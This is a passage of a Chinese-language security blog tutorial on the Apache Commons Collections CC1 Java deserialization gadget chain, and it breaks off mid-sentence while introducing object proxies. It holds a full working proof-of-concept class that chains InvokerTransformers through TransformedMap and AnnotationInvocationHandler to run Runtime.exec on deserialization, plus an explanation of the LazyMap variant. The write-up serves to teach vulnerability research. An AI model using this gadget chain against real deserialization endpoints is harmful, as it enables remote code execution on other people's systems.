data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250423-161643-23-5.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u9519\u8bef\u539f\u56e0\u8fd9\u91cc\u8bf4\u7684\u4e5f\u5f88\u660e\u663e\uff0c\u5c31\u662fRuntime\u7c7b\u662f\u6ca1\u6709\u5b9e\u73b0 java.io.Serializable \u63a5\u53e3\u7684\uff0c\u6240\u4ee5\u4e0d\u5141\u8bb8\u88ab\u5e8f\u5217<br>\u5316\uff0c\u56e0\u6b64\u8fd9\u91cc\u6211\u4eec\u9700\u8981\u5229\u7528\u53cd\u5c04\uff0c\u800c\u4e0d\u662f\u76f4\u63a5\u4f7f\u7528\u8fd9\u4e2a\u7c7b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Method f = Runtime.class.getMethod(\"getRuntime\");\nRuntime r = (Runtime) f.invoke(null);\nr.exec(\"calc.exe\");<\/code><\/pre>\n\n\n\n<p>\u8f6c\u6362\u4e00\u4e0b\u5199\u6cd5\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Transformer&#91;] transformers = new Transformer&#91;]{\n                new ConstantTransformer(Runtime.class),\n                new InvokerTransformer(\"getMethod\", new Class&#91;]{\n                        String.class,\n                        Class&#91;].class}, new Object&#91;]{\"getRuntime\",\n                        new Class&#91;0]}),\n                new InvokerTransformer(\"invoke\", new Class&#91;]{Object.class,\n                        Object&#91;].class}, new Object&#91;]{null, new Object&#91;0]\n                }),\n                new InvokerTransformer(\"exec\", new Class&#91;]{String.class},\n                        new String&#91;]{\n                                \"calc.exe\"}),\n        };<\/code><\/pre>\n\n\n\n<p>\u4ee5\u524d\u901a\u8fc7ConstantTransformer \u83b7\u53d6 Runtime.getRuntime() \u5f97\u5230\u7684\u662f<code>java.lang.Runtime<\/code>\u5bf9\u8c61\uff0c\u65e0\u6cd5\u5e8f\u5217\u5316\uff0c\u73b0\u5728\u53d8\u6210\u4e86Runtime.class\uff0c\u662fjava.lang.Class \u5bf9\u8c61\uff0cClass\u7c7b\u6709\u5b9e\u73b0Serializable\u63a5\u53e3\uff0c\u6240\u4ee5\u53ef\u4ee5\u88ab\u5e8f\u5217\u5316\uff0c\u7136\u540e\u6211\u4eec\u901a\u8fc7getMethod \u548c invoke\u5c31\u80fd\u6109\u5feb\u7684\u6267\u884c\u547d\u4ee4\u4e86\u2014\u2014\u5417\uff1f\u5176\u5b9e\u8fd8\u662f\u4e0d\u884c\u7684\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250423-162458--23-6.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250423-162458--23-6.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u6211\u4eec\u770b\u5230\u6700\u521dreadObject\u7684\u4ee3\u7801\uff0c\u5b83\u7684\u6700\u540e\u5176\u5b9e\u662f\u6709\u4e00\u4e2a\u5224\u65ad\u7684\uff0c\u5fc5\u987b\u4fdd\u8bc1 if (var7 != null)\uff0c\u90a3\u5982\u4f55\u4fdd\u8bc1\u8fd9\u4e2avar7\u4e0d\u4e3anull\u5462\uff1f\u56de\u770b\u6700\u521d\u7684AnnotationInvocationHandler\u6784\u9020\u65b9\u6cd5\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>AnnotationInvocationHandler(Class&lt;? extends Annotation&gt; var1, Map&lt;String, Object&gt; var2) {\n        Class&#91;] var3 = var1.getInterfaces();\n        if (var1.isAnnotation() &amp;&amp; var3.length == 1 &amp;&amp; var3&#91;0] == Annotation.class) {\n            this.type = var1;\n            this.memberValues = var2;\n        } else {\n            throw new AnnotationFormatError(\"Attempt to create proxy for a non-annotation type.\");\n        }\n    }<\/code><\/pre>\n\n\n\n<p>var1\u4f1a\u88ab\u8d4b\u503c\u7ed9<code>this.type<\/code>\uff0cvar2\u4f1a\u88ab\u8d4b\u503c\u7ed9<code>this.memberValues<\/code>\uff0c\u800c\u5f53\u6211\u4eec\u5728\u53cd\u5e8f\u5217\u5316\u7684\u65f6\u5019\uff0c\u8fdb\u5165readObject\u65b9\u6cd5\uff0c\u6267\u884c\u4e86\u8fd9\u4e48\u4e00\u6bb5\u4ee3\u7801\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>var2 = AnnotationType.getInstance(this.type);<\/code><\/pre>\n\n\n\n<p>\u6211\u4eec\u770b\u5230AnnotationType.getInstance\uff0c\u8fd9\u91cc\u6211\u4eec\u4f20\u5165\u7684this.type\u5373\u662fRetention.class\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250423-163347-23-8.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250423-163347-23-8.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u53ef\u4ee5\u770b\u5230\u8fd9\u91cc\u8fdb\u884c\u4e86\u4e00\u6b21new AnnotationType(var0)\uff0c\u6211\u4eec\u518d\u770b\u5230AnnotationType\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250423-163831-23-9.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250423-163831-23-9.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:750px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u8fd9\u91cc\u7684var2\u7684\u503c\u5176\u5b9e\u5c31\u662fRetention\u7684\u65b9\u6cd5\u5217\u8868\uff0c\u800cRetention\u5176\u5b9e\u53ea\u6709\u4e00\u4e2avalue\u65b9\u6cd5\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250423-164015-24-10.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250423-164015-24-10.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u4ece\u4ee3\u7801\u91cc\u53ef\u4ee5\u770b\u51fa\u6765\uff0cvar2\u7684\u503c\u6700\u540e\u8d4b\u503c\u7ed9\u4e86var3\uff0c\u901a\u8fc7\u4e00\u4e2a\u5faa\u73af\u628a\u65b9\u6cd5\u5217\u8868var3\u4e2d\u7684\u65b9\u6cd5\u53d6\u51fa\u5b58\u5728var6\uff0c\u7136\u540e\u7528<code>String var7 = var6.getName()<\/code>\u628a\u65b9\u6cd5\u540d\u5b58\u5728var7\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250423-164237-23-11.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250423-164237-23-11.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:730px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u6700\u540e\u8fd9\u4e2athis.memberTypes.put(var7, invocationHandlerReturnType(var8))\u5c06var7\u4f5c\u4e3a\u952e\u503c\u5b58\u5165\u4e86memberTypes\u3002\u800c\u5728getInstance\u4e2d\u53ef\u4ee5\u770b\u51fa\u5230var2\u7684memberTypes\u662f\u4e2aHashMap\uff0c\u4ed6\u7684\u7b2c\u4e00\u4e2a\u5143\u7d20\u7684\u952e\u503c\u5c31\u662fRetention\u7684\u65b9\u6cd5&#8221;value&#8221;\u8fd9\u4e2a\u5b57\u7b26\u4e32<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250423-165213-23-13.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250423-165213-23-13.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:798px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u56de\u5230readObject\uff0c\u8fd9\u91ccvar2\u51fa\u6765\u4ee5\u540e\uff0c\u4ed6\u7684memberTypes\u8d4b\u503c\u7ed9\u4e86var3\uff0c\u5373\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Map var3 = var2.memberTypes();<\/code><\/pre>\n\n\n\n<p>\u7ee7\u7eed\u5f80\u4e0b\uff0cvar6\u662fvar5\u7684key\uff0c\u4e5f\u5c31\u662f\u201cvalue\u201d\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>String var6 = (String)var5.getKey();<\/code><\/pre>\n\n\n\n<p>\u7ec8\u4e8e\u8d70\u5230var7\uff0c\u6700\u540evar7\u8fd9\u7684\u4ee3\u7801\u662f\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Class var7 = (Class)var3.get(var6);<\/code><\/pre>\n\n\n\n<p>\u5176\u5b9e\u5c31\u662fvar7=var3.get(&#8220;value&#8221;)\uff0c\u800c\u6211\u4eecvar3\u7684\u952e\u5c31\u662fvalue\uff0c\u6240\u4ee5var7\u4e0d\u4f1a\u4e3anull\uff0c\u5c31\u6267\u884c\u4e86\u6211\u4eec\u60f3\u8981\u7684setValue\u4e86\uff0c\u6240\u4ee5\u6700\u540e\u80fd\u8dd1\u901a\u7684\u4ee3\u7801\u91cc\uff0c\u6211\u4eec\u9700\u8981\u7ed9Map\u4e2d\u653e\u5165\u4e00\u4e2aKey\u662fvalue\u7684\u5143\u7d20\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>innerMap.put(\"value\", \"xxxx\");<\/code><\/pre>\n\n\n\n<p>\u4e0d\u8fc7\u8fd9\u4e2a\u4ee3\u7801\u5728Java 8u71\u4ee5\u524d\u8fd8\u80fd\u8dd1\u901a\uff0c\u518d\u5f80\u540e\u5c31\u901a\u4e0d\u4e86\u4e86\uff0c\u6211\u524d\u9762\u7528\u7684\u73af\u5883\u662f8u65\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package com.CC;\n\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InvokerTransformer;\nimport org.apache.commons.collections.map.TransformedMap;\n\nimport java.io.ByteArrayInputStream;\nimport java.io.ByteArrayOutputStream;\nimport java.io.ObjectInputStream;\nimport java.io.ObjectOutputStream;\nimport java.lang.annotation.Retention;\nimport java.lang.reflect.Constructor;\nimport java.lang.reflect.InvocationHandler;\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class easycc1 {\n    public static void main(String&#91;] args) throws Exception {\n        Transformer&#91;] transformers = new Transformer&#91;]{\n                new ConstantTransformer(Runtime.class),\n                new InvokerTransformer(\"getMethod\", new Class&#91;]{\n                        String.class,\n                        Class&#91;].class}, new Object&#91;]{\"getRuntime\",\n                        new Class&#91;0]}),\n                new InvokerTransformer(\"invoke\", new Class&#91;]{Object.class,\n                        Object&#91;].class}, new Object&#91;]{null, new Object&#91;0]\n                }),\n                new InvokerTransformer(\"exec\", new Class&#91;]{String.class},\n                        new String&#91;]{\n                                \"calc.exe\"}),\n        };\n        Transformer transformerChain = new ChainedTransformer(transformers);\n        Map innerMap = new HashMap();\n        innerMap.put(\"value\", \"xxxx\");\n        Map outerMap = TransformedMap.decorate(innerMap, null,\n                transformerChain);\n        Class clazz =\n                Class.forName(\"sun.reflect.annotation.AnnotationInvocationHandler\");\n        Constructor construct = clazz.getDeclaredConstructor(Class.class,\n                Map.class);\n        construct.setAccessible(true);\n        InvocationHandler handler = (InvocationHandler)\n                construct.newInstance(Retention.class, outerMap);\n        ByteArrayOutputStream barr = new ByteArrayOutputStream();\n        ObjectOutputStream oos = new ObjectOutputStream(barr);\n        oos.writeObject(handler);\n        oos.close();\n        System.out.println(barr);\n        ObjectInputStream ois = new ObjectInputStream(new\n                ByteArrayInputStream(barr.toByteArray()));\n        Object o = (Object) ois.readObject();\n    }\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250423-172530-23-14.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250423-172530-23-14.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">LazyMap<\/h2>\n\n\n\n<p>\u503c\u5f97\u6ce8\u610f\u7684\u662f\uff0c\u4e0a\u9762\u7684\u4ee3\u7801\u662f\u53ea\u6709\u4f4e\u7248\u672c\u6709\u6548\u7684\uff0c\u5bfc\u81f4yso\u5185\u90e8\u5176\u5b9e\u7528\u7684\u4e0d\u662f\u8fd9\u6761\u94fe\u5b50\u3002\u9ad8\u7248\u672c\u4e4b\u540e\u4e0d\u518d\u76f4\u63a5\u4f7f\u7528\u53cd\u5e8f\u5217\u5316\u5f97\u5230\u7684Map\u5bf9\u8c61\uff0c\u800c\u662f\u65b0\u5efa\u4e86\u4e00\u4e2aLinkedHashMap\u5bf9\u8c61\uff0c\u5e76\u5c06\u539f\u6765\u7684\u952e\u503c\u6dfb\u52a0\u8fdb\u53bb\uff0c\u6240\u4ee5\u540e\u7eed\u5bf9Map\u7684\u64cd\u4f5c\u90fd\u662f\u57fa\u4e8e\u8fd9\u4e2a\u65b0\u7684LinkedHashMap\u5bf9\u8c61\uff0c\u800c\u539f\u6765\u6211\u4eec\u7cbe\u5fc3\u6784\u9020\u7684Map\u4e0d\u518d\u6267\u884cset\u6216put\u64cd\u4f5c\uff0c\u4e5f\u5c31\u4e0d\u4f1a\u89e6\u53d1RCE\u4e86\uff0c\u56e0\u6b64\u5728yso\u4e2d\u9009\u62e9\u4e86LazyMap\u800c\u4e0d\u662fTransformedMap\u8fdb\u884c\u5229\u7528\u3002<\/p>\n\n\n\n<p><code>LazyMap<\/code> \u662f Apache Commons Collections \u63d0\u4f9b\u7684\u4e00\u4e2a\u88c5\u9970\u5668\u6a21\u5f0f\u7684 Map\uff0c\u7528\u4e8e\u5728\u8bbf\u95ee\u4e0d\u5b58\u5728\u7684\u952e\u65f6\uff0c\u201c\u61d2\u52a0\u8f7d\u201d\u5730\u8ba1\u7b97\u5e76\u63d2\u5165\u503c\u3002\u4e5f\u5c31\u662f\u8bf4 LazyMap \u5176\u5b9e\u662f <code>Map<\/code> \u7684\u4e00\u79cd\u7279\u6b8a\u5b9e\u73b0\uff0c\u5f53\u8bbf\u95ee\u67d0\u4e2a key\uff0c\u5982\u679c\u8fd9\u4e2a key \u4e0d\u5b58\u5728\uff0c\u4f1a\u81ea\u52a8\u4f7f\u7528\u4e00\u4e2a <code>Transformer<\/code> \u6765\u751f\u6210 value\uff0c\u5e76\u63d2\u5165 Map \u4e2d\uff0c\u6bd4\u5982\u4e0b\u9762\u7684\u4ee3\u7801\u4f8b\u5b50\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package com.CC;\n\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.map.LazyMap;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class LazyMapExample {\n    public static void main(String&#91;] args) {\n        \/\/ \u521b\u5efa\u57fa\u7840\u7684 map\n        Map baseMap = new HashMap();\n\n        \/\/ \u521b\u5efa Transformer\uff0c\u7528\u4e8e\u751f\u6210\u9ed8\u8ba4\u503c\n        Transformer transformer = new ConstantTransformer(\"default-value\");\n\n        \/\/ \u521b\u5efa LazyMap\uff0c\u8bbf\u95ee\u4e0d\u5b58\u5728\u7684 key \u65f6\u4f7f\u7528 transformer \u751f\u6210 value\n        Map lazyMap = LazyMap.decorate(baseMap, transformer);\n\n        \/\/ \u6b63\u5e38 put\/get\n        lazyMap.put(\"name\", \"taffy\");\n        System.out.println(lazyMap.get(\"name\")); \/\/ \u8f93\u51fa: taffy\n\n        \/\/ \u8bbf\u95ee\u4e0d\u5b58\u5728\u7684 key\uff0c\u4f1a\u89e6\u53d1 transformer\n        System.out.println(lazyMap.get(\"nonexistent\")); \/\/ \u8f93\u51fa: default-value\n    }\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250423-201113-23-1.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250423-201113-23-1.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:567px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u53ef\u4ee5\u770b\u5230\uff0c\u5982\u679c\u6211\u4eec\u8bbf\u95ee\u4e0d\u5b58\u5728\u7684key\uff0c\u5c31\u89e6\u53d1\u4e86\u6211\u4eec\u4e4b\u524d\u9884\u5b9a\u8bbe\u7f6e\u597d\u7684transformer\uff0c\u8fd4\u56de\u4e86default-value\uff0c\u662f\u4e0d\u662f\u6709\u70b9\u50cfphp\u53cd\u5e8f\u5217\u5316\u91cc\u7684\u67d0\u4e2a\u9b54\u672f\u65b9\u6cd5\uff1f\u4e5f\u662f\u8bbf\u95ee\u4e0d\u5b58\u5728\u7684\u4e1c\u897f\u4e4b\u540e\u8fdb\u884c\u89e6\u53d1\u3002<\/p>\n\n\n\n<p>\u56e0\u6b64LazyMap\u7684\u6f0f\u6d1e\u89e6\u53d1\u70b9\u548cTransformedMap\u552f\u4e00\u7684\u5dee\u522b\u662f\uff0cTransformedMap\u662f\u5728\u5199\u5165\u5143\u7d20\u7684\u65f6\u5019\u6267<br>\u884ctransform\uff0c\u800cLazyMap\u662f\u5728\u5176get\u65b9\u6cd5\u4e2d\u6267\u884c\u7684 factory.transform \u3002\u5176\u5b9e\u8fd9\u4e5f\u597d\u7406\u89e3\uff0cLazyMap<br>\u7684\u4f5c\u7528\u662f\u201c\u61d2\u52a0\u8f7d\u201d\uff0c\u5728get\u627e\u4e0d\u5230\u503c\u7684\u65f6\u5019\uff0c\u5b83\u4f1a\u8c03\u7528 factory.transform \u65b9\u6cd5\u53bb\u83b7\u53d6\u4e00\u4e2a\u503c\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>    public Object get(Object key) {\n        if (!super.map.containsKey(key)) {\n            Object value = this.factory.transform(key);\n            super.map.put(key, value);\n            return value;\n        } else {\n            return super.map.get(key);\n        }\n    }<\/code><\/pre>\n\n\n\n<p>\u5e76\u4e14\u8fd9\u4e2afactory\u5176\u5b9e\u662f\u6211\u4eec\u53ef\u63a7\u7684\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>public static Map decorate(Map map, Transformer factory) {\n        return new LazyMap(map, factory);\n    }\n\n    protected LazyMap(Map map, Transformer factory) {\n        super(map);\n        if (factory == null) {\n            throw new IllegalArgumentException(\"Factory must not be null\");\n        } else {\n            this.factory = factory;\n        }\n    }<\/code><\/pre>\n\n\n\n<p>\u6240\u4ee5\u6211\u4eec\u53ea\u9700\u8981\u4f20\u5165Map\u548ctransformerChain\u5c31\u53ef\u4ee5\u6784\u9020\u4e00\u4e2aLazyMap\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Map lazyMap = LazyMap.decorate(innerMap, transformerChain);<\/code><\/pre>\n\n\n\n<p>\u4e0d\u8fc7LazyMap\u7684\u540e\u7eed\u5229\u7528\u7a0d\u5fae\u590d\u6742\u4e00\u4e9b\uff0csun.reflect.annotation.AnnotationInvocationHandler \u7684readObject\u65b9\u6cd5\u4e2d\u5e76\u6ca1\u6709\u76f4\u63a5\u8c03\u7528\u5230 Map \u7684get\u65b9\u6cd5\uff0c\u800c\u662f\u4f7f\u7528\u4e86AnnotationInvocationHandler.invoke()\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250423-213707-23-2.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250423-213707-23-2.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:689px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u8fd9\u91cc\u786e\u5b9e\u4f7f\u7528\u4e86\u4e00\u6b21get\uff0c\u90a3\u4e48\u73b0\u5728\u95ee\u9898\u5c31\u53d8\u6210\u4e86\u5982\u4f55\u8c03\u7528\u8fd9\u4e2aAnnotationInvocationHandler.invoke()\u4e86\uff0c\u800c\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\u7684\u529e\u6cd5\u5c31\u662f\u5bf9\u8c61\u4ee3\u7406\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u5bf9\u8c61\u4ee3\u7406<\/h2>\n\n\n\n<p>Java \u7684\u5bf9\u8c61\u4ee3\u7406\u673a\u5236\u4e3b\u8981\u6709\u4e24\u79cd\u65b9\u5f0f\uff1a<strong>\u9759\u6001\u4ee3\u7406<\/strong> \u548c 